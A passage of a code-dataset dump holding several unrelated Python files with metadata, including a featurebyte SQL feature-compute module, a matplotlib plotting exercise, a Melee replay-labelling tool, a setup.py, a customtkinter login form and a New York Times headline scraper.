out.extend(self.get_non_tiling_specs(LookupSpec, lookup_node))\n\n        if lookup_target_nodes:\n            for lookup_node in lookup_target_nodes:\n                out.extend(self.get_non_tiling_specs(LookupTargetSpec, lookup_node))\n\n        if asat_nodes:\n            for asat_node in asat_nodes:\n                out.extend(self.get_non_tiling_specs(AggregateAsAtSpec, asat_node))\n\n        if forward_aggregate_nodes:\n            for forward_aggregate_node in forward_aggregate_nodes:\n                out.extend(self.get_non_tiling_specs(ForwardAggregateSpec, forward_aggregate_node))\n\n        return out\n\n    def get_specs_from_groupby(self, groupby_node: Node) -> Sequence[TileBasedAggregationSpec]:\n        \"\"\"Update FeatureExecutionPlan with a groupby query node\n\n        Parameters\n        ----------\n        groupby_node : Node\n            Groupby query node\n\n        Returns\n        -------\n        list[AggregationSpec]\n        \"\"\"\n        return TileBasedAggregationSpec.from_groupby_query_node(\n            self.graph, groupby_node, self.adapter, serving_names_mapping=self.serving_names_mapping\n        )\n\n    def get_non_tiling_specs(\n        self, spec_cls: Type[NonTileBasedAggregationSpec], node: Node\n    ) -> Sequence[NonTileBasedAggregationSpec]:\n        \"\"\"\n        Update FeatureExecutionPlan with a node that produces NonTileBasedAggregationSpec\n\n        Parameters\n        ----------\n        node: Node\n            Query graph node\n        spec_cls: Type[NonTileBasedAggregationSpec]\n            Aggregation specification class\n\n        Returns\n        -------\n        list[AggregationSpec]\n        \"\"\"\n        return spec_cls.from_query_graph_node(\n            node,\n            graph=self.graph,\n            source_type=self.source_type,\n            serving_names_mapping=self.serving_names_mapping,\n            is_online_serving=self.is_online_serving,\n        )\n\n    def update_feature_specs(self, node: Node) -> None:\n        \"\"\"Update FeatureExecutionPlan with a query graph node\n\n        Parameters\n        ----------\n        node : Node\n            Query graph node\n        \"\"\"\n        sql_graph = SQLOperationGraph(\n            self.graph, SQLType.POST_AGGREGATION, source_type=self.source_type\n        )\n        sql_node = sql_graph.build(node)\n\n        if isinstance(sql_node, TableNode):\n            # sql_node corresponds to a FeatureGroup that results from point-in-time groupby or item\n            # groupby (e.g. AggregatedTilesNode, AggregatedItemGroupby nodes)\n            for feature_name, feature_expr in sql_node.columns_map.items():\n                feature_spec = FeatureSpec(\n                    feature_name=feature_name,\n                    feature_expr=feature_expr,\n                )\n                self.plan.add_feature_spec(feature_spec)\n        else:\n            if isinstance(sql_node, Project):\n                feature_name = sql_node.column_name\n            elif isinstance(sql_node, AliasNode):\n                feature_name = sql_node.name\n            else:\n                # Otherwise, there is no way to know about the feature name. Technically speaking\n                # this could still be previewed as an \"unnamed\" feature since the expression is\n                # available, but it cannot be published.\n                feature_name = \"Unnamed\"\n            feature_spec = FeatureSpec(feature_name=feature_name, feature_expr=sql_node.sql)\n            self.plan.add_feature_spec(feature_spec)\n", "repo_name": "featurebyte/featurebyte", "sub_path": "featurebyte/query_graph/sql/feature_compute.py", "file_name": "feature_compute.py", "file_ext": "py", "file_size_in_byte": 22532, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 49, "dataset": "github-code", "pt": "78", "api": [{"api_name": "typing.Union", "line_number": 53, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.aggregator.latest.LatestAggregator", "line_number": 54, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.aggregator.lookup.LookupAggregator", "line_number": 55, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.aggregator.lookup_target.LookupTargetAggregator", "line_number": 56, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.aggregator.window.WindowAggregator", "line_number": 57, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.aggregator.item.ItemAggregator", "line_number": 58, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.aggregator.asat.AsAtAggregator", "line_number": 59, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.aggregator.forward.ForwardAggregator", "line_number": 60, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 62, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.specs.TileBasedAggregationSpec", "line_number": 62, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.specs.NonTileBasedAggregationSpec", "line_number": 62, "usage_type": "name"}, {"api_name": "sys.setrecursionlimit", "line_number": 64, "usage_type": "call"}, {"api_name": "featurebyte.enum.SourceType", "line_number": 74, "usage_type": "name"}, {"api_name": "featurebyte.models.parent_serving.ParentServingPreparation", "line_number": 76, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.specs.AggregationType.LATEST", "line_number": 80, "usage_type": "attribute"}, {"api_name": "featurebyte.query_graph.sql.specs.AggregationType", "line_number": 80, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.specs.AggregationType.LOOKUP", "line_number": 81, "usage_type": "attribute"}, {"api_name": "featurebyte.query_graph.sql.specs.AggregationType", "line_number": 81, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.specs.AggregationType.LOOKUP_TARGET", "line_number": 82, "usage_type": "attribute"}, {"api_name": "featurebyte.query_graph.sql.specs.AggregationType", "line_number": 82, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.specs.AggregationType.WINDOW", "line_number": 83, "usage_type": "attribute"}, {"api_name": "featurebyte.query_graph.sql.specs.AggregationType", "line_number": 83, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.specs.AggregationType.ITEM", "line_number": 84, "usage_type": "attribute"}, {"api_name": "featurebyte.query_graph.sql.specs.AggregationType", "line_number": 84, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.specs.AggregationType.AS_AT", "line_number": 85, "usage_type": "attribute"}, {"api_name": "featurebyte.query_graph.sql.specs.AggregationType", "line_number": 85, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.specs.AggregationType.FORWARD", "line_number": 86, "usage_type": "attribute"}, {"api_name": "featurebyte.query_graph.sql.specs.AggregationType", "line_number": 86, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.aggregator.latest.LatestAggregator", "line_number": 80, "usage_type": "call"}, {"api_name": "featurebyte.query_graph.sql.aggregator.lookup.LookupAggregator", "line_number": 81, "usage_type": "call"}, {"api_name": "featurebyte.query_graph.sql.aggregator.lookup_target.LookupTargetAggregator", "line_number": 82, "usage_type": "call"}, {"api_name": "featurebyte.query_graph.sql.aggregator.window.WindowAggregator", "line_number": 83, "usage_type": "call"}, {"api_name": "featurebyte.query_graph.sql.aggregator.item.ItemAggregator", "line_number": 84, "usage_type": "call"}, {"api_name": "featurebyte.query_graph.sql.aggregator.asat.AsAtAggregator", "line_number": 85, "usage_type": "call"}, {"api_name": "featurebyte.query_graph.sql.aggregator.forward.ForwardAggregator", "line_number": 86, "usage_type": "call"}, {"api_name": "featurebyte.query_graph.sql.specs.FeatureSpec", "line_number": 88, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.adapter.get_sql_adapter", "line_number": 89, "usage_type": "call"}, {"api_name": "bson.ObjectId", "line_number": 107, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.aggregator.base.TileBasedAggregator", "line_number": 139, "usage_type": "argument"}, {"api_name": "typing.Iterable", "line_number": 144, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.specs.AggregationSpec", "line_number": 156, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.specs.FeatureSpec", "line_number": 169, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.parent_serving.construct_request_table_with_parent_entities", "line_number": 207, "usage_type": "call"}, {"api_name": "sqlglot.expressions.Select", "line_number": 191, "usage_type": "attribute"}, {"api_name": "sqlglot.expressions", "line_number": 191, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 219, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.common.quoted_identifier", "line_number": 241, "usage_type": "call"}, {"api_name": "sqlglot.expressions.select", "line_number": 246, "usage_type": "call"}, {"api_name": "featurebyte.query_graph.sql.common.CteStatement", "line_number": 220, "usage_type": "name"}, {"api_name": "sqlglot.expressions.Select", "line_number": 267, "usage_type": "attribute"}, {"api_name": "sqlglot.expressions", "line_number": 267, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 268, "usage_type": "name"}, {"api_name": "sqlglot.expressions.Expression", "line_number": 301, "usage_type": "attribute"}, {"api_name": "sqlglot.expressions", "line_number": 301, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.common.quoted_identifier", "line_number": 304, "usage_type": "call"}, {"api_name": "sqlglot.expressions.alias_", "line_number": 307, "usage_type": "call"}, {"api_name": "sqlglot.expressions", "line_number": 307, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.common.quoted_identifier", "line_number": 314, "usage_type": "call"}, {"api_name": "sqlglot.expressions.Select", "line_number": 272, "usage_type": "attribute"}, {"api_name": "sqlglot.expressions", "line_number": 272, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 330, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 331, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.common.CteStatements", "line_number": 331, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 333, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.common.construct_cte_sql", "line_number": 389, "usage_type": "call"}, {"api_name": "sqlglot.expressions.Select", "line_number": 334, "usage_type": "attribute"}, {"api_name": "sqlglot.expressions", "line_number": 334, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.model.graph.QueryGraphModel", "line_number": 418, "usage_type": "name"}, {"api_name": "featurebyte.enum.SourceType", "line_number": 421, "usage_type": "name"}, {"api_name": "featurebyte.models.parent_serving.ParentServingPreparation", "line_number": 422, "usage_type": "name"}, {"api_name": "featurebyte.enum.SourceType.SNOWFLAKE", "line_number": 425, "usage_type": "attribute"}, {"api_name": "featurebyte.enum.SourceType", "line_number": 425, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.transform.flattening.GraphFlatteningTransformer", "line_number": 426, "usage_type": "call"}, {"api_name": "featurebyte.query_graph.sql.adapter.get_sql_adapter", "line_number": 435, "usage_type": "call"}, {"api_name": "featurebyte.query_graph.node.Node", "line_number": 437, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.node.Node", "line_number": 455, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.node.Node", "line_number": 469, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.enum.NodeType.GROUPBY", "line_number": 482, "usage_type": "attribute"}, {"api_name": "featurebyte.query_graph.enum.NodeType", "line_number": 482, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.enum.NodeType.GROUPBY", "line_number": 485, "usage_type": "attribute"}, {"api_name": "featurebyte.query_graph.enum.NodeType", "line_number": 485, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.enum.NodeType.ITEM_GROUPBY", "line_number": 492, "usage_type": "attribute"}, {"api_name": "featurebyte.query_graph.enum.NodeType", "line_number": 492, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.enum.NodeType.GROUPBY", "line_number": 492, "usage_type": "attribute"}, {"api_name": "featurebyte.query_graph.enum.NodeType.LOOKUP", "line_number": 495, "usage_type": "attribute"}, {"api_name": "featurebyte.query_graph.enum.NodeType", "line_number": 495, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.enum.NodeType.LOOKUP_TARGET", "line_number": 496, "usage_type": "attribute"}, {"api_name": "featurebyte.query_graph.enum.NodeType", "line_number": 496, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.enum.NodeType.AGGREGATE_AS_AT", "line_number": 497, "usage_type": "attribute"}, {"api_name": "featurebyte.query_graph.enum.NodeType", "line_number": 497, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.enum.NodeType.FORWARD_AGGREGATE", "line_number": 498, "usage_type": "attribute"}, {"api_name": "featurebyte.query_graph.enum.NodeType", "line_number": 498, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.specs.ItemAggregationSpec", "line_number": 508, "usage_type": "argument"}, {"api_name": "featurebyte.query_graph.sql.specifications.lookup.LookupSpec", "line_number": 512, "usage_type": "argument"}, {"api_name": "featurebyte.query_graph.sql.specifications.lookup_target.LookupTargetSpec", "line_number": 516, "usage_type": "argument"}, {"api_name": "featurebyte.query_graph.sql.specs.AggregateAsAtSpec", "line_number": 520, "usage_type": "argument"}, {"api_name": "featurebyte.query_graph.sql.specs.ForwardAggregateSpec", "line_number": 524, "usage_type": "argument"}, {"api_name": "featurebyte.query_graph.node.Node", "line_number": 528, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.specs.TileBasedAggregationSpec.from_groupby_query_node", "line_number": 540, "usage_type": "call"}, {"api_name": "featurebyte.query_graph.sql.specs.TileBasedAggregationSpec", "line_number": 540, "usage_type": "name"}, {"api_name": "typing.Sequence", "line_number": 528, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.specs.TileBasedAggregationSpec", "line_number": 528, "usage_type": "name"}, {"api_name": "typing.Type", "line_number": 545, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.specs.NonTileBasedAggregationSpec", "line_number": 545, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.node.Node", "line_number": 545, "usage_type": "name"}, {"api_name": "typing.Sequence", "line_number": 546, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.specs.NonTileBasedAggregationSpec", "line_number": 546, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.node.Node", "line_number": 569, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.builder.SQLOperationGraph", "line_number": 577, "usage_type": "call"}, {"api_name": "featurebyte.query_graph.sql.common.SQLType.POST_AGGREGATION", "line_number": 578, "usage_type": "attribute"}, {"api_name": "featurebyte.query_graph.sql.common.SQLType", "line_number": 578, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.ast.base.TableNode", "line_number": 582, "usage_type": "argument"}, {"api_name": "featurebyte.query_graph.sql.specs.FeatureSpec", "line_number": 586, "usage_type": "call"}, {"api_name": "featurebyte.query_graph.sql.ast.generic.Project", "line_number": 592, "usage_type": "argument"}, {"api_name": "featurebyte.query_graph.sql.ast.generic.AliasNode", "line_number": 594, "usage_type": "argument"}, {"api_name": "featurebyte.query_graph.sql.specs.FeatureSpec", "line_number": 601, "usage_type": "call"}]}
{"seq_id": "18583681441", "text": "# 每次期末考完都意味着很长一段时间的Emo...\n\n# 绘制简单图纸\nimport matplotlib.pyplot as plt\n\ninput_values = [1, 2, 3, 4, 5]\nsquares = [1, 4, 9, 16, 25]\n\n# 使用plt库的内置样式 背景、模板\nplt.style.use(\"seaborn\")\n\n# 变量fig表示整张图片，变量ax表示图片中的各个图表\n# fig表示这张画布，ax是指画笔，通过ax.plot(squares)表示这条线\nfig, ax = plt.subplots()\n\n# linewidth用于 给定先粗细\n# input_values第一个参数为x轴，squares第二个参数为Y轴\nax.plot(input_values, squares, linewidth=3)\n\n# 设定标题 无法使用中文\nax.set_title(\"quadra\", fontsize=24)\n# 设定X轴\nax.set_xlabel(\"value\", fontsize=14)\n# 设定Y轴\nax.set_ylabel(\"value^2\", fontsize=14)\n# 设置刻度标记的大小\nax.tick_params(axis='both', labelsize=14)\n\n# 绘制散点图 s = 200 意为点的大小\nax.scatter(3.3, 3.3,s =200)\nax.scatter(input_values,squares,s = 100)\n\nfor i in input_values:\n    print(\"(\",input_values[i-1],\",\",squares[i-1],\")\")\n\nplt.show()\n", "repo_name": "uol-lou/Note-of-Python-Carsh-Course-2nd-Edition", "sub_path": "Part2/数据可视化/折线图/scatter_squares.py", "file_name": "scatter_squares.py", "file_ext": "py", "file_size_in_byte": 1020, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "matplotlib.pyplot.style.use", "line_number": 10, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style", "line_number": 10, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 10, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 14, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}]}
{"seq_id": "22881023751", "text": "#!/usr/bin/env python3\nimport sys\nimport os\nimport datetime\nimport pytz\nimport pickle\nimport argparse\n\nfrom ReplayLabeller import ReplayLabeller\nimport data\nimport config\n\ndesc = \"\"\" \nA tool for fetching challonge data, parsing slippi replays, and matching\nchallonge sets to their replays.\n\nExample of a full run with a main bracket and an amateur bracket:\n%(prog)s -c mtvmelee-122 \\\\\n  -c mtvmelee-122_amateur \\\\\n  -s slippi/MTVMelee122 \\\\\n  -p smashers.csv \\\\\n  -l \\\\\n  labels_122\n\"\"\"\n\nif __name__ == '__main__':\n  parser = argparse.ArgumentParser(description = desc,\n    formatter_class=argparse.RawTextHelpFormatter)\n  parser.add_argument(\"-c\", metavar=\"challonge_id\", action=\"append\",\n    help=\"(repeatable) fetch challonge data from these bracket id(s)\")\n  parser.add_argument(\"-s\", metavar=\"slippi_dir\",\n    help=\"parse slippi replays from this directory\")\n  parser.add_argument(\"-p\", metavar=\"player_csv\",\n    help=\"use csv for hints about players' mains\")\n  parser.add_argument(\"-l\", help=\"label replays\", action=\"store_true\")\n  parser.add_argument(\"output_dir\", help=\"write output files to this dir\")\n  args = parser.parse_args()\n\n  os.makedirs(args.output_dir, exist_ok=True)\n  challonge_file = os.path.join(args.output_dir, config.CHALLONGE_FILE)\n  slippi_file = os.path.join(args.output_dir, config.SLIPPI_FILE)\n  full_output_file = os.path.join(args.output_dir, config.FULL_OUTPUT_FILE)\n  single_output_file = os.path.join(args.output_dir, config.SINGLE_OUTPUT_FILE)\n  prob_output_file = os.path.join(args.output_dir, config.PROB_OUTPUT_FILE)\n\n  if args.c != None:\n    print(\"Fetching challonge brackets: %s\" % (', '.join(args.c)))\n    data.fetch_brackets_to_file(args.c, challonge_file)\n\n  if args.s != None:\n    print(\"Parsing slippi data from %s\" % args.s)\n    data.parse_all_slp_drives(args.s, slippi_file)\n\n  if args.l:\n    replayLabeller = ReplayLabeller(args.p, challonge_file, slippi_file)\n\n    print(\"Computing labels for %s matches...\" % len(replayLabeller.matches))\n    all_labels = replayLabeller.compute_all_labels()\n    sl_objval, single_labels = replayLabeller.mip_solve(all_labels)\n    probs_labels = replayLabeller.get_all_labels_probs(all_labels, threshold=0.05)\n\n    matches = replayLabeller.matches\n    setups = replayLabeller.setups\n\n    def display_time(dt):\n      return dt.astimezone(pytz.timezone(config.TIME_ZONE)).strftime('%Y-%m-%d %H:%M:%S')\n\n    def print_match(fp, mi, match):\n      fp.write(\"Match %s: %s vs %s [%s],  from %s to %s\\n\" %\n        (mi,\n         replayLabeller.playerid_map[match['player1-id']],\n         replayLabeller.playerid_map[match['player2-id']],\n         match['scores-csv'],\n         display_time(match['started-at']),\n         display_time(match['completed-at'])))\n\n    def print_label(fp, ll, si, ri, ngames, prob=None, format_pct = False):\n      llstr = ('%.2f%%' % (ll*100)) if format_pct else ('%.3f' % ll)\n      probstr = '' if prob == None else (' (%.2f%%)' % (prob*100))\n      fp.write(\"    %s%s: s%s %s Games %s-%s:  %s to %s\\n\" %\n        (llstr, probstr, si, setups[si]['drive'], ri, ri+ngames-1,\n         display_time(setups[si]['replays'][ri]['start_time']),\n         display_time(setups[si]['replays'][ri+ngames-1]['end_time'])))\n\n    def print_replay(fp, replay):\n      chars = [p['char'] for p in replay['ports'] if p != None]\n      wins = ['L' if p['dead_at_end'] else 'W' for p in replay['ports'] if p != None]\n      fp.write(\"        %s to %s:  [%s]  %s (%s) vs. %s (%s)\\n\" %\n        (display_time(replay['start_time']),\n         display_time(replay['end_time']), replay['stage'], chars[0],\n         wins[0], chars[1], wins[1]))\n\n    # displays a solution with (up to) a single solution for each match, in the\n    # format given e.g. by compute_greedy_labels and analyze_LP_soln. Returns\n    # the average match ll of the solution and the number of missed matches.\n    def print_single_soln(fp, soln):\n      missed_mis = {mi for mi, lbl in enumerate(soln) if lbl == None}\n      labels = {(mi,lbl) for mi, lbl in enumerate(soln) if lbl != None}\n      for mi, (ll, si, ri) in sorted(labels, key = lambda x: x[1], reverse=True):\n        print_match(fp, mi, matches[mi])\n        print_label(fp, ll, si, ri, matches[mi]['num_games'])\n        for k in range(matches[mi]['num_games']):\n          print_replay(fp, setups[si]['replays'][ri+k])\n        fp.write(\"\\n\")\n\n      fp.write(\"\\nMissed %s matches:\\n\" % len(missed_mis))\n      for mi in missed_mis:\n        print_match(fp, mi, matches[mi])\n\n    # displays a solution with zero or more solutions for each match, in the\n    # format of all_labels\n    def print_full_soln(fp, soln, format_pct = False, sort_score = False):\n      mims = list(enumerate(matches))\n      if sort_score:\n        mims.sort(key = lambda x: soln[x[0]][0], reverse=True)\n      for mi, match in mims:\n        print_match(fp, mi, match)\n        for ll, si, ri in soln[mi]:\n          if si != None:\n            print_label(fp, ll, si, ri, match['num_games'], format_pct = format_pct)\n            for k in range(match['num_games']):\n              print_replay(fp, setups[si]['replays'][ri+k])\n          else:\n            fp.write(\"    %.2f%%: NO LABEL\\n\" % (ll*100))\n        fp.write(\"\\n\")\n\n    with open(full_output_file, 'w') as fp:\n      print_full_soln(fp, all_labels)\n\n    with open(single_output_file, 'w') as fp:\n      print_single_soln(fp, single_labels)\n\n    print(\"Wrote label output to %s and %s\" % (full_output_file, single_output_file))\n\n    with open(prob_output_file, 'w') as fp:\n      print_full_soln(fp, probs_labels, format_pct = True, sort_score = True)\n\n  else:\n    usage()\n", "repo_name": "girffy/mmrl", "sub_path": "mmrl.py", "file_name": "mmrl.py", "file_ext": "py", "file_size_in_byte": 5595, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 27, "usage_type": "call"}, {"api_name": "argparse.RawTextHelpFormatter", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path", "line_number": 40, "usage_type": "attribute"}, {"api_name": "config.CHALLONGE_FILE", "line_number": 40, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path", "line_number": 41, "usage_type": "attribute"}, {"api_name": "config.SLIPPI_FILE", "line_number": 41, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path", "line_number": 42, "usage_type": "attribute"}, {"api_name": "config.FULL_OUTPUT_FILE", "line_number": 42, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path", "line_number": 43, "usage_type": "attribute"}, {"api_name": "config.SINGLE_OUTPUT_FILE", "line_number": 43, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path", "line_number": 44, "usage_type": "attribute"}, {"api_name": "config.PROB_OUTPUT_FILE", "line_number": 44, "usage_type": "attribute"}, {"api_name": "data.fetch_brackets_to_file", "line_number": 48, "usage_type": "call"}, {"api_name": "data.parse_all_slp_drives", "line_number": 52, "usage_type": "call"}, {"api_name": "ReplayLabeller.ReplayLabeller", "line_number": 55, "usage_type": "call"}, {"api_name": "pytz.timezone", "line_number": 66, "usage_type": "call"}, {"api_name": "config.TIME_ZONE", "line_number": 66, "usage_type": "attribute"}]}
{"seq_id": "24836016162", "text": "\"\"\"A setuptools based setup module.\nSee:\nhttps://packaging.python.org/en/latest/distributing.html\nhttps://github.com/pypa/sampleproject\n\"\"\"\n\n# Always prefer setuptools over distutils\nfrom setuptools import setup, find_packages\n# To use a consistent encoding\nfrom codecs import open\nfrom os import path\n\nhere = path.abspath(path.dirname(__file__))\n\nsetup(\n    name='smsp',\n    version='0.0.1',\n    description='Spine Mini Service Classes',\n    license='MIT',\n    classifiers=[\n        'Development Status :: 3 - Alpha',\n        'Intended Audience :: Developers',\n        'Topic :: Software Development :: Build Tools',\n        'License :: OSI Approved :: MIT License',\n        'Programming Language :: Python :: 3.3',\n        'Programming Language :: Python :: 3.4',\n        'Programming Language :: Python :: 3.5',\n    ],\n    packages=['smsp'],\n    install_requires=['lxml'],\n)\n", "repo_name": "elementechemlyn/pysmsp", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 878, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.abspath", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 13, "usage_type": "call"}, {"api_name": "setuptools.setup", "line_number": 15, "usage_type": "call"}]}
{"seq_id": "74892007290", "text": "import customtkinter\nimport os\n\ncustomtkinter.set_appearance_mode('dark')\ncustomtkinter.set_default_color_theme('dark-blue')\n\nclass Application(customtkinter.CTk):\n    def __init__(self):\n        super().__init__()\n        self.geometry(\"500x350\")\n        self.title(\"Minecraft Mod Adder\")\n        self.createWidgets()\n    \n    def createWidgets(self):\n        frame = customtkinter.CTkFrame(master=self)\n        frame.pack(pady=20, padx=60, fill=\"both\", expand=True, anchor=customtkinter.CENTER)\n\n        label = customtkinter.CTkLabel(master=frame, text=\"Login System\")\n        label.pack(pady=12, padx=10)\n\n        entry1 = customtkinter.CTkEntry(master=frame, placeholder_text=\"Username\")\n        entry1.pack(pady=12, padx=10)\n\n        entry2 = customtkinter.CTkEntry(master=frame, placeholder_text=\"Password\", show=\"*\")\n        entry2.pack(pady=12, padx=10)\n\n        button = customtkinter.CTkButton(master=frame, text=\"Login\", command=None)\n        button.pack(pady=12, padx=10)\n\n        checkbox = customtkinter.CTkCheckBox(master=frame, text=\"Remember Me\")\n        checkbox.pack(pady=12, padx=10)\n\n    def findDefPath(self):\n        username = os.path.expanduser('~')\n        defPath = username + \"\\AppData\\Roaming\\.minecraft\"\n        if os.path.isdir(defPath):\n            print(\"Success\")\n        else :\n            print(\"Nope\")\n", "repo_name": "FatRat60/mcAutoMod", "sub_path": "graphUI.py", "file_name": "graphUI.py", "file_ext": "py", "file_size_in_byte": 1340, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "customtkinter.set_appearance_mode", "line_number": 4, "usage_type": "call"}, {"api_name": "customtkinter.set_default_color_theme", "line_number": 5, "usage_type": "call"}, {"api_name": "customtkinter.CTk", "line_number": 7, "usage_type": "attribute"}, {"api_name": "customtkinter.CTkFrame", "line_number": 15, "usage_type": "call"}, {"api_name": "customtkinter.CENTER", "line_number": 16, "usage_type": "attribute"}, {"api_name": "customtkinter.CTkLabel", "line_number": 18, "usage_type": "call"}, {"api_name": "customtkinter.CTkEntry", "line_number": 21, "usage_type": "call"}, {"api_name": "customtkinter.CTkEntry", "line_number": 24, "usage_type": "call"}, {"api_name": "customtkinter.CTkButton", "line_number": 27, "usage_type": "call"}, {"api_name": "customtkinter.CTkCheckBox", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path.expanduser", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path", "line_number": 36, "usage_type": "attribute"}]}
{"seq_id": "2187596066", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat May 11 10:03:31 2019\n\nAdd new column with Datetime for current stories for every row. \nAdd Column that says NYTIMES for every headline pulled here.\n\nUpdated on Sat June 29 10:40:00 2019\nRow added for NYT and datetime\n\n\"\"\"\n\n\nimport re\nimport csv\nimport requests\nfrom datetime import datetime\nfrom datetime import date\nfrom bs4 import BeautifulSoup\nfrom shutil import copyfile\n\nurl = 'http://www.nytimes.com'\nr = requests.get(url)\nsoup = BeautifulSoup(r.text, 'lxml')\ncurrentDT = str(datetime.now())\ncurrentDate = date.today().strftime(\"%m/%d/%y\")\nmylist = []\nmylist2 = []\n\n\nfor allh2 in soup.findAll('h2'):\n    allh3 = allh2.text.encode('ascii', 'ignore').decode('ascii')\n    mylist.append(allh3)\nmylist.remove('Site Index')\nmylist.remove('Site Information Navigation')\n    \nfor story in mylist:\n    mylist2 = (story,currentDT,currentDate)\n\n    \nwith open('NYTimesTwo.csv', 'a', newline='') as open_file:\n    wr = csv.writer(open_file, delimiter=',', dialect='excel')\n    #wr.writerows('')\n    for story in mylist:\n        mylist2 = (story,currentDT,currentDate, 'NYT')\n        wr.writerows([mylist2])\n    wr.writerows('\\n')\n\ncopyfile('NYTimesTwo.csv', 'NYTimesWork.csv')    \n        \n        \n        \n", "repo_name": "williamgrasso/NYTimes_Scraper", "sub_path": "NYTimesV16.py", "file_name": "NYTimesV16.py", "file_ext": "py", "file_size_in_byte": 1268, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "requests.get", "line_number": 24, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 25, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 26, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 26, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 27, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 27, "usage_type": "name"}, {"api_name": "csv.writer", "line_number": 43, "usage_type": "call"}, {"api_name": "shutil.copyfile", "line_number": 50, "usage_type": "call"}]}
